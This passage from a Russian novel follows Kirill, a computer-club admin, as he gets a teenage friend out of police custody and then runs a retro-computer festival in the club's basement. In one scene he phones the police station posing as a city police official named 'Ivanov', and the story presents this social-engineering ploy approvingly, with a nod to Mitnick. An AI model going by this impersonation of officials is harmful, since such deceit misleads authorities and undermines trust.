произошло, но уже чувствует явное облегчение, осознав, что это благополуч‐
но закончилось.

Когда Кирилл и  Жора под  безразличным взглядом секретарши вышли
в  коридор, Дмитрия Дмитриевича уже и  след простыл  — видимо, умчался
исполнять выданное ему поручение.

— Жора, ты просто артист,  — восхищенно пробормотал Кирилл.  — Я
реально думал, он нас сейчас выгонит.

— Выгонит? — ухмыльнулся Жора, пряча диктофон обратно в борсетку. —
Кирюха, никогда не недооценивай силу уверенного тона и правильно подоб‐
ранных слов. Слово  — это  как пуля: если попадет в  нужную голову, гаран‐
тированно вынесет мозги. В том числе и окружающим.

— А  про комитет молодежи и  это, как  его, управление ты серьезно
говорил?

— Нет, конечно. Придумал прямо на ходу и приплел для солидности. Как и
про  то, что вы письменно оповестили администрацию о  своей тусовке. Ты
ведь, конечно, не подумал об этом заранее, правильно?

— Ну да… А если он потом проверит? — нахмурился Кирилл.
— Так пусть проверяет, — отмахнулся журналист, — к тому времени фес‐

тиваль уже закончится.
Они спустились на  улицу, и  Кирилл прищурился от  ударившего в  глаза

весеннего солнца  — его яркие лучи ослепляли даже сквозь темные стекла
очков.

— Ну что, долг платежом красен, — произнес Жора, — готов пообщаться
насчет обещанного интервью? Только давай сначала пожрем где‑нибудь, а то
у меня желудок бьет тревогу.

— Да без проблем, — кивнул Кирилл, мысленно оценив объем оставшей‐
ся в кошельке наличности. — Но давай без дорогих ресторанов, а то в свете
грядущего мероприятия бюджет у меня ни фига не фестивальный.

— Вот именно,  — оживился журналист,  — отметим начало культурного
возрождения района с  размахом, но  экономно. Предлагаю стратегически
выверенный вариант — шаверма. Вон та подойдет. Раз уж она работает нап‐
ротив районного муниципалитета, а  местные чинуши еще  не вымерли
поголовно от дизентерии, есть шанс, что мы с тобой останемся в живых. Пой‐
дем, заодно и дела обсудим.

На вечерних занятиях в  автошколе собралось человек десять  — мужчин
и женщин разных возрастов примерно поровну. Лекторий оказался полутем‐
ный и пыльный, стены завешаны выцветшими картонными плакатами с изоб‐
ражением дорожных знаков и сигналов регулировщика, под потолком гудели
усталыми шмелями древние люминесцентные лампы. Лектор, пожилой
очкастый дядька в  вытянутой жилетке, бубнил что‑то про  отличие тротуара
от  проезжей части, а  последней  — от  прилегающей территории, слушатели
безразлично чиркали ручками в  блокнотах и  откровенно скучали. Станови‐
лось совершенно очевидно, что все без исключения присутствующие, вклю‐
чая лектора, прекрасно осознают бессмысленность происходящего, но про‐
должают отбывать номер, потому что так надо.

Кирилл сидел у окна, механически водя ручкой по полям тетради. Он изоб‐
разил там уже с десяток маленьких машинок и теперь прикидывал, можно ли
нарисовать рядом гаишника, держащего в  руках вместо жезла кое‑что неп‐
риличное. Соседка справа  — полная женщина лет сорока в  зеленом сви‐
тере  — старательно конспектировала, будто от  этого зависела ее жизнь.
Иногда она заглядывала в  Кириллову тетрадь, морщилась, но  ничего
не говорила. Спереди дремал парень в спортивном костюме, время от вре‐
мени подскакивая, когда его носорожье сопение превращалось в  густой
заливистый храп.

— Итак, — продолжал лектор монотонно, — тротуар предназначен исклю‐
чительно для  движения пешеходов. Въезд на  тротуар транспортных средств
запрещен, за исключением случаев...

Кирилл посмотрел на  часы. До  конца занятия оставалось сорок минут.
Сорок бесконечных, мучительно медленных минут.

Когда эта пытка наконец завершилась, он поднялся на  затекшие ноги
и  уверенно направился к  лектору. Дождался, пока тот закончит складывать
свои бумажки в видавший виды кожаный портфель, и, набрав в грудь воздуха,
произнес:

— Извините, а  можно вопрос? Я хочу изучать теорию дома. Экзамен я
потом сдам, правила и карточки выучу.

— Дома?  — преподаватель поднял брови и  удивленно посмотрел
на Кирилла. — А у вас имеются необходимые учебные материалы?

— Лучше,  — заверил его Кирилл, стараясь побороть закипающее внутри
раздражение.  — У  меня имеется доступ к  всемирной информационной
компьютерной сети интернет. И персональная ЭВМ, подключенная к источни‐
ку переменного тока. Мне кажется, этого достаточно.

— Молодой человек,  — лектор нахмурился,  — у  нас тут не  университет
кибернетики. У  нас серьезное учреждение, в  котором принят утвержденный
руководством образовательный процесс…

— Я понимаю,  — перебил его Кирилл,  — просто я лучше усваиваю
материал, когда изучаю его самостоятельно. У  меня даже есть прог‐
рамма‑тренажер, позволяющая отвечать на  экзаменационные вопросы пря‐
мо на компьютере.

Преподаватель покачал головой и защелкнул замок портфеля.
— Хотите тренажер  — идите в  спортзал,  — сухо ответил он.  — Вож‐

дение  — это  практика, дисциплина, ответственность. У  нас люди учатся
по правилам, молодой человек, без всяких там интернетов.

Кирилл посмотрел на него, потом на портфель, который лектор аккуратно
взял под мышку, и сдержанно кивнул.

— Понял. Спасибо.
Он вышел из душного кабинета на лестничную площадку, где пахло побел‐

кой и  сыростью,  — вход в  учебный класс почему‑то располагался со  двора,
словно правила дорожного движения преподавали здесь подпольно. «Ну
ничего, — подумал он, спускаясь вниз, — если не хотят пойти мне навстречу
добровольно, значит, придется их заставить».

— Кирюха!
Из темноты ему навстречу шагнула Маша и протянула что‑то небольшое,

прямоугольное.
— С  трудом нашла тебя в  этом лабиринте. Реально какой‑то архитек‐

турный маньяк этот дом строил, чуть не заблудилась тут. На, держи.
Кирилл машинально взял протянутый предмет и  только теперь сумел его

разглядеть как  следует. Его телефон, в  бурых разводах засохшей грязи,
но вполне себе целый.

— Где ты его взяла?
— Ванька со своими пацанами по району пробежался. Нашли они тех гоп‐

ников и вломили им по самое не балуйся. Только это…
Маша опустила глаза.
— Что?
— Его в ментовку забрали. Часа два уже в отделе держат.
— Так он же вроде несовершеннолетний? Родителей должны вызвать…
— Батя в командировку уехал, а мать… Короче, нет у него матери.
— Час от часу не легче, — вздохнул Кирилл, подумав, что очень уж не вов‐

ремя все это  случилось, прямо за  день до  мероприятия.  — Ладно. Пойдем,
покажешь, куда его забрали. © X
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Хоть Кирилл и  не был силен в  юриспруденции, но  твердо
знал: держать несовершеннолетнего в отделении без серь‐
езных на  то оснований дольше трех часов не  позволяет
закон, после этого с  подростком должны находиться либо
родители, либо педагог или  защитник. За  уличную драку,
если дело обошлось без серьезных травм или тяжких телес‐
ных, обычно и  вовсе отпускали с  предупреждением. В  его
родном Подгорске разборки среди молодежи из  разных
районов считались обычным делом, он и сам не раз попадал
в  милицию по  разным поводам, то один, то за  компанию
с Санчо. Однако сейчас, если верить словам Маши, кому‑то
разбили в  потасовке не  только нос, но  и мобильник, и  это
могло обернуться уже более серьезными последствиями.
Если, конечно, владелец телефона напишет заявление, в чем
Кирилл искренне сомневался.

Райотдел располагался в  ветхом двухэтажном здании самого что ни  на
есть мрачного вида, притаившемся в глубине заросшего пустыря. Возле ржа‐
вого крыльца скучал серый уазик с  синей полосой, рядом понуро блестели
влажными боками две старые легковушки. Окна первого этажа забраны
решетками, в некоторых горел свет, и за ними просматривался унылый казен‐
ный интерьер: стены в  деревянных панелях, плакаты с  фотороботами
и  образцы документов в  пластиковых рамочках. Пройдясь вдоль фасада
туда‑сюда и  немного осмотревшись, Кирилл вернулся в  переулок. Соваться
в логово полицейских со своим фингалом он все‑таки не решился: слишком
велик шанс присоединиться к сидящему в заточении Ивану, уж больно подоз‐
рительно он сейчас выглядит. Уточнив у  спутницы время, Кирилл убедился,
что три часа с  момента задержания уже миновало, но  выпускать узника
на свободу, судя по всему, никто не собирался.

Ближайший уличный таксофон отыскался буквально в паре сотен метров,
возле уже не  работающего по  причине позднего времени почтового отде‐
ления. Первым делом Кирилл набрал Серёгу, который как раз админил в клу‐
бе, и  попросил его глянуть в  интернете нужные телефонные номера. Затем
позвонил в управление собственной безопасности, сообщив о том, что в рай‐
отделе незаконно удерживают несовершеннолетнего без  достаточных на  то
оснований. Следующие звонки он сделал в  прокуратуру и  в городское УВД,
куда смог пробиться только с пятой попытки. Представившись журналистом,
Кирилл вежливо попросил уточнить якобы поступившую информацию
о  незаконном задержании подростка. Здесь ему очень помогли наглядные
уроки Жоры, умевшего выбрать правильный тон беседы, так, чтобы к  нему
начали прислушиваться всерьез. Затем он взял небольшую паузу, дожидаясь,
пока кто‑нибудь свяжется с отделом и поинтересуется, что, черт возьми, там
происходит. На  таксофонной карточке оставалось еще  восемь кредитов,
и спустя пятнадцать минут Кирилл сам набрал номер райотдела. Трубку сняли
после долгой серии длинных гудков.

— Дежурная часть, — пробасил усталый голос.
— Вечер добрый, — произнес Кирилл, стараясь говорить спокойно и уве‐

ренно.  — Это  управление, прокуратура просила уточнить информацию
по задержанному. Фамилия…

Кирилл немного помедлил, делая вид, что заглядывает в какие‑то бумаги.
— Зарубин Иван Владимирович.
На другом конце повисла пауза. Слышно было, как  дежурный тяжело

вздохнул, перекладывая трубку из руки в руку.
— А вы откуда конкретно звоните?
— Городское УВД, — не моргнув глазом ответил Кирилл. — Поступил сиг‐

нал, что подростка держат без  родителей и  педагога. Я сейчас оформляю
рапорт, но, возможно, данные устарели.

— Секундочку… — трубка наполнилась невнятным шумом и шорохами.
Кирилл стоял под  козырьком таксофона, рядом Маша переминалась

с ноги на ногу, поплотнее натянув капюшон.
— Есть у  нас такой,  — послышался голос дежурного,  — инспектора

по делам несовершеннолетних ждем. Фамилию вашу можно уточнить?
— Иванов, — ответил Кирилл, полагая, что в городском управлении точно

отыщется хотя  бы один такой сотрудник.  — Передайте, чтобы проверили
основания для задержания, а то тут наверху уже всех на уши поставили.

Он сделал легкое ударение на слове «наверху», как это делал Жора, когда
хотел намекнуть, что высокое начальство уже в курсе происходящего и очень
этим происходящим недовольно.

— Ладно, разберемся, — послышалось из динамика.

Кирилл повесил трубку, чувствуя, как  колотится сердце. Он выдохнул и  пос‐
мотрел на Машу.

— Если повезет, скоро его выпустят.
Ждать пришлось около двадцати минут: Иван вышел на  крыльцо отдела,

настороженно оглядываясь по  сторонам, и  не сразу заметил мерзнущих
в переулке товарищей.

— Доброе утро, последний герой,  — процитировал известную песню
Кирилл, махнув ему издалека рукой. — Ты как вообще? Руки‑ноги на месте?

— На месте, — отозвался Иван, — только жрать очень хочется. Там как в
консервной банке: душно, воняет, и  в сортир отпускают лишь с  сопровож‐
дающим. Хотел слинять по‑тихому, но у них даже в тубзике решетки на окнах.

— Кирилл тут целую спецоперацию провернул,  — вставила Маша,  —
с полчаса обзванивал прокуроров, депутатов и прочие инстанции.

— Серьезно? — Иван прищурился, с интересом глядя на Кирю. — И что,
тебя послушали?

— Живет в  Штатах такой чувак,  — ответил тот, усмехнувшись,  — Митник
его фамилия. Так вот он — настоящий профи в телефонном мошенничестве
и  бог социальной инженерии. Даже фэбээровцев пару лет успешно за  нос
водил. А  я по  сравнению с  ним полнейший дилетант. Ладно, идем отсюда,
пока менты не передумали… Предлагаю взять в ларьке какого‑нибудь хавчика
и  отметить успешное освобождение в  «Экране», а  то я уже ног не  чувствую
от холода.

Вставать наутро пришлось ни  свет ни  заря: первые участники завтрашнего
мероприятия должны были прибыть в  клуб в  районе полудня. Кирилл
с  Серёгой повесили на  дверь табличку «Закрыто до  понедельника», разоб‐
рали локалку и  заперли системные блоки с  мониторами в  подсобке. Маша
все‑таки растянула под потолком гирлянду флажков и украсила стены гроздь‐
ями разноцветных воздушных шаров, которые заставила надувать Кирилла
с Серёгой. Из‑за этого помещение клуба стало напоминать актовый зал дет‐
ского сада перед новогодним утренником. Сам Кирилл разместил при входе
заранее отпечатанные плакаты, а Ивана отправил в магазин за недостающи‐
ми удлинителями. В последний момент он вспомнил, что в суматохе совсем
забыл анонсировать фестиваль на  сайте компьютерного клуба. Пришлось
оперативно исправлять это досадное упущение.

Первой подтянулась парочка веселых бородатых мужиков, притащивших
в  рюкзаке целых три «Спектрума». Один оказался какой‑то советской
самоделкой в  выгнутом из  жести угловатом корпусе, второй  — аккуратным
и  явно выпущенным на  заводе компьютером под  названием «Композит»,
а третий — персоналкой «Дельта‑С» с прозрачными пластиковыми клавиша‐
ми, назначение которых было напечатано на  вложенных внутри бумажках,
из‑за чего комп приобрел несколько кустарный вид. Мужики, громко перешу‐
чиваясь, подключили свои машины к установленным на столах телевизорам,
воткнули провод в  кассетный магнитофон, и  Кирилл принялся с  интересом
наблюдать, как  по экрану под  пронзительный писк и  электронное журчание
побежали разноцветные полосы, а затем в меняющем цвета квадрате появи‐
лась надпись: «bytes: Dizzy».

— О, классика,  — протянул Серёга, заглянув мужикам через плечо.  —
Помню, у одноклассника на «Спектруме» как‑то раз в «Диззи» рубились. Толь‐
ко кассеты постоянно жевало, зараза.

— Ага,  — усмехнулся один из  бородачей, подкручивая магнитофонную
головку отверткой,  — зато драйв был. Сейчас все слишком просто: диск
в сидиром засунул — и играешь. А раньше каждая загрузка была как лотерея.

Следом явился сутулый очкастый студент, представившийся Ромой, — он
принес компьютер с мультяшным названием «Нафаня». Комп отличался плос‐
кой пленочной клавиатурой, выглядевшей так, словно ее неумело нарисовали
на картонке фломастером. Поначалу Кирилл подумал, что это очередной клон
«Синклера», но  оказалось, что компьютер числится дальним родственником
советскому «Радио-86РК» и  некоторое время выпускался местным опти‐
ко‑механическим объединением.

— Все, что делает «ЛОМО», все ломается само,  — прокомментировал
особенности этой машины Роман и  в качестве доказательства продемонс‐
трировал изнанку клавиатурной платы, судя по  висящей под  ней мочалке
«вермишели», пережившей не одну итерацию глобальной пайки.

После обеда к клубу подкатил ржавенький «Иж‑Комби», владелец которого
вытащил на  свет пузатый черно‑белый монитор «Электроника» и  странного
вида клавиатуру из  серого пластика с  выдавленной на  ее верхней крышке
надписью «Поиск». В  той же крышке под  съемными лючками обнаружилось
несколько разъемов, куда хозяин компьютера воткнул модули расширения,
чем‑то напоминавшие игровые картриджи от «Денди». Один из них, как ока‐
залось, увеличивал объем оперативки аж до 640 килобайт, второй позволял
подключить пятидюймовый дисковод, который владелец раритета небрежно
положил прямо на стол и соединил с компьютером проводами. Кирилл пред‐
положил, что это  очередная вариация на  тему какого‑нибудь «БК» или  «РК»,
но  «Поиск» оказался полноценной IBM-совместимой персоналкой, в  чем он
лично убедился, когда на  экране возникли квадратные окошки «Нортона»,
а затем — заставка «Принца Персии».

— Ого, — присвистнул вернувшийся с удлинителями Иван, присаживаясь
рядом. — Да это же почти нормальный комп! Только выглядит так, будто его
собирали на уроках труда.

Владелец «Поиска» усмехнулся, подсоединяя к разъему джойстик с облу‐
пившейся красной кнопкой.

— Ну типа того. Наш ответ IBM. Собирали на заводе, где детали кончались
раньше, чем смена. Но, заметь, машина до сих пор работает как зверь.

По черно‑белому экрану побежал пиксельный паренек, грациозно переп‐
рыгивая через шипы и пропасти.

Самым интересным экспонатом Кириллу показалось самодельное устрой‐
ство, похожее на  большой программируемый калькулятор с  индикаторным
дисплеем.

— Это «ЮТ-88», — гордо пояснил владелец невиданного монстра, — я его
собрал еще в девятом классе из того, что сумел достать. Процессор КР580,
оперативки ровно килобайт.

Кирилл осторожно взял аппарат в  руки, разглядывая матово‑зеленые
отблески на  крошечном экране и  пластиковую панель с  неровно вырезан‐
ными отверстиями под  клавиши. Все выглядело так, будто девайс пролежал
не  один десяток лет в  ящике с  инструментами, но  при этом каким‑то чудом
сохранил работоспособность.

— А на нем вообще можно что‑то делать? — с интересом спросил он.
— Еще как, — оживился владелец. — Вводишь команды в машинных кодах,

запускаешь — и смотришь результат на индикаторах. А если есть терпение,
можно даже простенькую игру написать. У  меня, кстати, «Посадка на  Луну»
до сих пор на нем работает.

К вечеру клуб напоминал музей цифровой археологии: вдоль стен стояли
«БК-0010» и  «Корвет», кто‑то притащил «Амигу» с  громоздким ЭЛТ‑монито‐
ром Commodore 1084. В углу двое чьих‑то пацанов младшего школьного воз‐
раста увлеченно резались в  восьмибитную приставку. Между столами сно‐
вали люди с проводами и паяльниками, кто‑то уронил отвертку, кто‑то громко
спорил о  тактовой частоте персоналок семейства MSX. Воздух наполнился
запахом канифоли и кофе.

— Вот это  движ,  — восхищенно произнес пробегавший мимо Серёга,
сжимая в  руках старую трехкнопочную мышь со  встроенным шариком.  —
Даже не верится, что мы всё это затеяли.

Кирилл улыбнулся и, на  секунду задержав взгляд на  разноцветной гир‐
лянде, почувствовал легкий прилив гордости. Еще  пару лет назад он сидел
ночами в  родительской квартире в  Подгорске, мечтая однажды попасть
на подобную тусовку. И вот теперь создавал ее сам — и, что особенно при‐
ятно, практически без  подготовки и  каких‑то серьезных финансов. Просто
потому, что мог.

Он распахнул дверь на улицу, посмотрел на мокрый двор, на серые мар‐
товские лужи, отражавшие желтоватый свет фонарей. За  спиной, в  глубине
подвала, среди человеческих голосов витал едва уловимый электрический
гул  — будто старые машины, просыпаясь, тихо перешептывались между
собой. Завтра предстоял очень непростой и очень ответственный день.

Домой удалось добраться ближе к  полуночи. Сначала выяснилось, что
для подключения всех компов в клубе не хватает двух телевизоров, которые
пришлось срочно где‑то доставать. Помог один из участников, согласивший‐
ся поделиться собственной техникой, правда, чтобы съездить к  нему
на Васильевский, пришлось вызывать такси. Потом отказал один из удлините‐
лей — оплавилась розетка, и часть помещения осталась без питания. Серёга
ползал под столом с фонариком, Маша бегала за изолентой, а Кирилл пытал‐
ся объяснить участникам, почему их «Спектрум» внезапно перестал работать
вместе с  соседним «Корветом». К  вечеру все наконец устаканилось: компы
работали, кто‑то включил музыку из старых игр, большинство участников фес‐
тиваля, попрощавшись, отправились домой до  утра. Но  к тому моменту
Кирилл уже был выжат как лимон.

К себе он доехал на последней маршрутке — идти эти две остановки пеш‐
ком сил уже не было. Поднявшись на свой этаж, он долго возился с ключом,
пока тот не повернулся в замке, и, войдя, не разуваясь, плюхнулся на надув‐
ной матрас. С потолка свисала лампочка без плафона, свет косыми полосами
падал на ободранные обои. Кирилл снял куртку, достал из кармана потертый
блокнот и сделал пару пометок: «проверить розетки», «взять запасной удли‐
нитель», «решить что‑то с питьевой водой». Он перелистнул несколько стра‐
ниц  — между заметками о  драйверах и  наспех записанными телефонными
номерами обнаружилась фраза из  самого первого разговора с  Жорой:
«Главное  — не  техника, а  люди, которые ее оживляют». Кирилл усмехнулся
и закрыл блокнот.

За окном лениво повалил запоздалый весенний снег, где‑то вдали шумела
железная дорога. День, полный суеты и мелких проблем, закончился. Но зав‐
тра все начнется снова — с того же звука восьмибитных мелодий, запаха ста‐
рых плат и  лиц малознакомых людей, упрямо оживляющих прошлое своими
руками. Прежде чем завалиться спать, Кирилл решил на  всякий случай про‐
верить почту и  обнаружил в  ящике письмо от  незнакомого человека, под‐
писавшегося именем Габриель, судя по домену почтового сервера — из Бра‐
зилии. Тот писал, что случайно обнаружил созданный Кириллом сайт, пос‐
вященный расшифровке попорченных энкодером файлов. У самого бразиль‐
ца шифровальщик оказался новой версии, поэтому придуманное Кириллом
и  Криптодедом «лекарство» ему не  помогло, но, вдохновившись их идеей,
Габриель создал расшифровщик для  того вредоноса, который подцепил он
сам.

Изучив приложенную к сообщению программу, Кирилл убедился в том, что
Габриель оказался неплохим программистом, способным мыслить, как  тол‐
ковый хакер. Он исправил в коде одну неочевидную ошибку с повторной ини‐
циализацией переменной, а  еще одну подпрограмму сократил до  восьми
строк, сделав ее лаконичнее и компактнее. После чего отправил код обратно
с благодарностью и наилучшими пожеланиями, пообещав с разрешения Габ‐
риеля выложить его расшифровщик на своем сайте.

Во сне он снова оказался в  своей старой школе. Коридоры тянулись
до  бесконечности, а  за каждой дверью слышался ровный гул вентиляторов,
будто все учебные классы превратились в серверные. На стенах вместо пор‐
третов ученых и  литераторов висели старые материнские платы, из  которых
сочился слабый зеленоватый свет. Он шел по коридорам, как по лабиринту,
и  чувствовал, что где‑то впереди темнеет консоль  — единственная точка
выхода. Но  чем ближе он подходил, тем сильнее шум становился похож
на  человеческие голоса, как  будто сотни людей одновременно спорили
о чем‑то важном. Кирилл попытался оглядеться по сторонам, но в тот момент
все погасло — и тишину прорезал резкий, настойчивый звонок телефона.

Он открыл глаза и взглянул на вспыхнувший в темноте экран мобильника.
Восемь утра.

— Кирюх, двигай скорее сюда,  — услышал он в  трубке встревоженный
голос Серёги, — у нас тут проблема. © X
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«Проблема» в легком оранжевом пуховике деловито сновала
по  помещению клуба, без  спроса хватая расставленные
на столах древние компы, перебирая разложенные тут и там
стопками дискеты и  добавляя еще  больше беспорядка
в  царивший вокруг первозданный хаос. Маша и  Иван, тоже
решившие прийти в этот ответственный день пораньше, рас‐
терянно взирали на  происходящее со  стороны, не  решаясь
вмешиваться, а  Серёга и  вовсе спрятался за  стойкой, изо
всех сил пытаясь слиться с окружающим пейзажем.

— О, а  вот и  наш админ!  — повернулся к  Кириллу обладатель пуховика,
и  на его круглом лице отразилась смесь торжества и  раздражения, будто
накануне он уже не раз репетировал эту сцену перед зеркалом.

— Привет, Влад. Что тут происходит?
— Что происходит?  — передразнил его сооснователь «Синего экрана»,

поднял с  ближайшего стола старенький GoldStar и  гулко постучал по  плас‐
тиковому корпусу, как  врач по  коленке пациента.  — Вот и  я хотел  бы
это узнать. А то вы тут, я смотрю, совсем борзеть начали. Фестивали какие‑то
устраиваете без согласования… Барахло вон древнее с помоек притащили…

Он обвел пространство вокруг суровым взглядом, словно государь‑импе‐
ратор Петр Алексеевич, показывающий, где именно на сумрачных болотах он
повелел воздвигнуть новую столицу.

— Это вообще все мое, врубаетесь, нет? Я сюда технику принес, собрал,
подключил и  настроил. Прихожу, понимаешь, проверить, как  поживает мой
бизнес, который я с нуля создал, а тут вместо бизнеса цирк какой‑то развели.
Сюрприз, ага. Вы чё вообще творите, алё?

В роли рассерженного бизнесмена с раздувающимися от гнева ноздрями
и розовыми пятнами на пухлых щеках Влад выглядел довольно‑таки комично,
но  Кириллу сейчас было не  до смеха. Он вообще мечтал как  можно скорее
завершить этот ненужный разговор, потому что на улице уже занимался рас‐
свет, самое время подключать технику и  готовиться к  встрече гостей. Он
прекрасно понимал: Влад буянит не  из‑за того, что клуб на  одни выходные
превратился в  выставочную площадку, а  потому, что это  мероприятие про‐
ходит без его ведома и согласия. Парень в какой‑то момент самоустранился
от  участия в  жизни созданного им детища, считая, что партнер и  нанятый
на  стороне админ вывезут клуб на  себе, а  теперь вдруг почувствовал, что
теряет контроль. Стартап, как  оказалось, может прекрасно существовать
и без своего основателя.

— Эй, потише, бро,  — примирительно произнес Кирилл,  — поставь‑ка
телек, где росло. Мы, между прочим, «Экран» спасти пытаемся. Нас отсюда
выселять собрались, если ты не в курсе.

— Я не в курсе, кто вам дал согласие на весь этот дурдом, — истерично
взвизгнул Влад и с грохотом водрузил телевизор на стол. — Хотите поиграть
в свои спектрумы и денди — играйте дома на кухне.

Маша нахмурилась, но так и осталась стоять в стороне. Иван сделал шаг
вперед, потом назад — словно проверял глубину озера, в которое собирался
прыгнуть. Серёга выглянул на  мгновение из‑за стойки и  тут же вновь исчез,
будто его и не было.

— А  если мы все‑таки будем играть в  свои денди прямо тут?  — склонил
голову набок Киря.

Румяное лицо Влада перекосила гримаса, отчего он стал похож на  оби‐
женного ребенка, у  которого мама отобрала сникерс, потому что сначала
нужно скушать невкусную кашу.

— А ты тут, между прочим, вообще никто, чувак, — прошипел он, — это я
тебя сюда нанял, забыл? Я тут хозяин, а ты — наемный персонал, овца тупая.
Захочу  — уволю. Захочу  — вообще всю технику заберу: компы, мониторы,
свитчи, всё. Останутся только эти ваши гребаные плакаты на стенах. Врубил‐
ся, не?

Кирилл медленно выдохнул.
— Забирай. Хочешь, помогу дотащить твой хлам до выхода?
Влад моргнул. Диапазон эмоций у него на лице сменился так быстро, что

казалось  — сейчас он зависнет, как  старый «Фуджицу‑Сименс» с  перег‐
ревшимся процессором.

— Что? — переспросил он, будто не расслышал.
— Забирай оборудование,  — повторил Кирилл спокойно.  — Если счи‐

таешь, что без  него мы развалимся, нет проблем. Только заранее скажу:
не надейся, что клуб закроется. Обойдемся своими силами.

Влад затих, хватая ртом воздух, будто вытащенная из  воды рыба,  —
заготовленный заранее набор угроз вдруг утратил всякий смысл. Все, что
должно было испугать, неожиданно не  произвело ни  малейшего эффекта,
и это бесило сильнее всего.

— Ну‑ну,  — выдавил он наконец, вновь обретя утраченный было над‐
менный тон. — Справятся они… Вы тут без меня неделю не протянете.

Влад оглянулся в поисках хоть какой‑то поддержки. Серёга смотрел в сто‐
рону, избегая встречаться с ним взглядом, Маша старательно делала вид, что
изучает потолок, а  Иван подхватил едва не  пострадавший в  бою телевизор
и поволок от греха подальше вглубь игрового зала.

— Ладно, — процедил Влад. — Ладно. Поиграйте в шоуменов. Увидимся
еще, и не факт, что вам это понравится.

Последние слова он выкрикнул почти фальцетом, схватил подвернувшуюся
под руку стопку пятидюймовых дискет и с силой швырнул в стену. Дверь хлоп‐
нула так, что с потолка посыпалась пыльная штукатурка.

Некоторое время никто не  двигался, затем Серёга медленно поднялся
из‑за стойки с  видом человека, который выползает из  окопа после артобс‐
трела.

— Кирюх, так это… Чё теперь‑то? — протянул он растерянно.
— А  теперь работаем,  — спокойно отозвался Кирилл, будто ничего

не произошло. — Народ придет, нам ему что, сказку про разгневанного Вла‐
да рассказывать? Поднимай задницу, и айда машины подключать.

То, что в ближайшем будущем этот парень еще доставит им неприятности,
у Кирилла не вызывало ни малейших сомнений. Но будущее пока еще не нас‐
тупило, а настоящее — вот оно, требует действовать как можно быстрее, при‐
чем прямо сейчас.

Спустя сорок минут клуб уже наводнили разошедшиеся накануне по  домам
владельцы техники, где‑то пронзительно запищал магнитофон, загружавший
в «Синклер» программу, в зале раздавался смех и громкие разговоры. Маша
разложила на столе тетрадку, в которую старательно записывала участников
фестиваля, Серёга метался туда‑сюда с ворохом проводов, Иван старатель‐
но пересчитывал оставшиеся рекламные листовки. Посетителей еще  не
было, и  Кирилл с  тревогой подумал, что никто сюда больше не  придет.
Не поймет, зачем тратить субботнее утро на какой‑то подпольный ретрокар‐
навал в  подвальном «Синем экране». Он стоял у  входа, упершись ладонью
в раму двери, и чувствовал, как внутри растет липкая тяжесть. Снаружи тянуло
холодом. Двор был пуст и  глух, как  будто весь город разом решил спать
до  обеда. Впрочем, подумал Кирилл, даже если никто и  не явится в  их
забытый богом подвал, доносившиеся из  освещенного зала голоса и  звуки
восьмибитных мелодий свидетельствовали, что для  самих участников фес‐
тиваль уже состоялся,  — как  минимум им было интересно встретиться
в  неформальной обстановке и  пообщаться друг с  другом. Уже хоть что‑то.
Но в голове продолжала крутиться одна и та же мысль: если никто не придет,
это будет не просто провал мероприятия. Это будет поражение, которое он
сам себе никогда не простит.

Первые гости, двое мужчин и  женщина средних лет, настороженно огля‐
дываясь по сторонам, спустились по ступеням около одиннадцати утра. Сле‐
дом появился странного вида дед с косматой бородой, в линялом пальто и с
пленочным фотоаппаратом на  пузе. На  груди дедка красовался целый ико‐
ностас разноцветных значков: Кирилл успел разглядеть надписи «FIDO»
и «Сорока-801». Дальше ему пришлось отвлечься на починку сливного бачка,
который опять сломал кто‑то из участников выставки, потом он помогал вла‐
дельцу «Дельты» отыскать потерявшуюся сумку с  кассетами и  джойстиком,
затем организовывал переезд мужика с  «Поиском» на  другой конец зала,
потому что на прежнем месте ему внезапно стало тесно…

Когда он наконец выдохнул и огляделся, на часах был полдень, а вокруг стало
невозможно протолкнуться от  толпившегося народа. Кирилл даже не  понял,
как  это произошло: будто пока он стоял у  двери и  мысленно репетировал
провал, кто‑то незаметно прокрутил пленку вперед.

Подвал гудел, как  растревоженный улей. Воздух вибрировал от  раз‐
говоров, смеха, треска клавиш «Спектрумов» и редких победных криков тех,
кто сумел победить в «Марио‑Карт» на старом «Денди». Между столами при‐
ходилось буквально протискиваться: школьники с  блестящими от  восторга
глазами, бородатые мужики с пачками «Игромира» в руках, парни постарше,
даже какая‑то семья с ребенком лет пяти, который требовал «еще раз запус‐
тить того рыцаря». Многоголосый гул заглушала льющаяся из  динамиков
восьмибитная музыка.

Внутри все желающие не поместились. У дверей, на улице, кто‑то соору‐
дил несколько прилавков из  невесть откуда взявшихся фанерных ящиков:
здесь шла бойкая торговля кассетами с  играми и  старыми обтрепанными
книгами, среди которых Киря мельком разглядел «IBM PC для пользователя»
Фигурнова и «Компьютерную вирусологию» Безрукова. Рядом стояли кучками
мужики в  кожанках, пили пиво, смеялись, что‑то обсуждая. Один гордо
демонстрировал остальным древнюю клавиатуру с винтажным DIN-разъемом
на  скрученном пружиной проводе, хвастаясь, что только что урвал ее
у  какого‑то коллекционера по  дешевке. Маша торопливо писала в  тетрадке
третью страницу  — аккуратный почерк уже превратился в  каракули, но  она
все равно чему‑то улыбалась. Иван, судя по выражению лица, давно потерял
счет листовкам и теперь просто совал их всем подряд, некоторым по второму
разу, а Серёга мелькал между стойкой и столами так быстро, что казался бес‐
телесным призраком. В глубине зала вдруг кто‑то крикнул:

— Амига!
— Амига! — дружно подхватил десяток луженых глоток.
Кирилл застыл среди этого гула, стараясь осознать, что все это  не сон,

который растает, стоит только открыть глаза. Серёга, заметив его, оста‐
новился рядом, красный, вспотевший, но довольный.

— Кирюх, там это… Мужик тот приехал… Ну, который со  шмотками.
Поговорить хочет.

Посмотрев в  указанном направлении, Кирилл разглядел знакомый шиш‐
коватый череп с  оттопыренными в  стороны ушами. Только Стаса тут
еще  сегодня не  хватало для  полного комплекта. Вздохнув, Киря раздвинул
плечами толпу и направился к незваному визитеру.

— Здорово, — едва заприметив его приближение, произнес тот, — пой‐
дем в тачке потрещим, тут шумновато сегодня. Разговор к тебе есть.

Тачкой оказался старенький, но  неплохо сохранившийся сто девяностый
мерин, который Стас припарковал неподалеку. Опустившись на  кожаное
сидение, Кирилл пытливо уставился на своего визави.

— Тамара, крыса старая, сдавать нам твой подвал отказалась, в  курсе,
да?  — начал с  главного Стас.  — Говорит, вмешалась администрация,
какие‑то мутки начались, то‑се…

— Так может, оно и  к лучшему,  — пожал плечами Кирилл и  достал из‑за
пазухи пару сложенных бумажных листов, которые прихватил по  дороге
на  стойке.  — Место тут на  самом деле такое себе, непроходное, соседи
опять же нервные. Я вот присмотрел несколько помещений по  соседству,
глянь. Там адреса и арендная плата указаны.

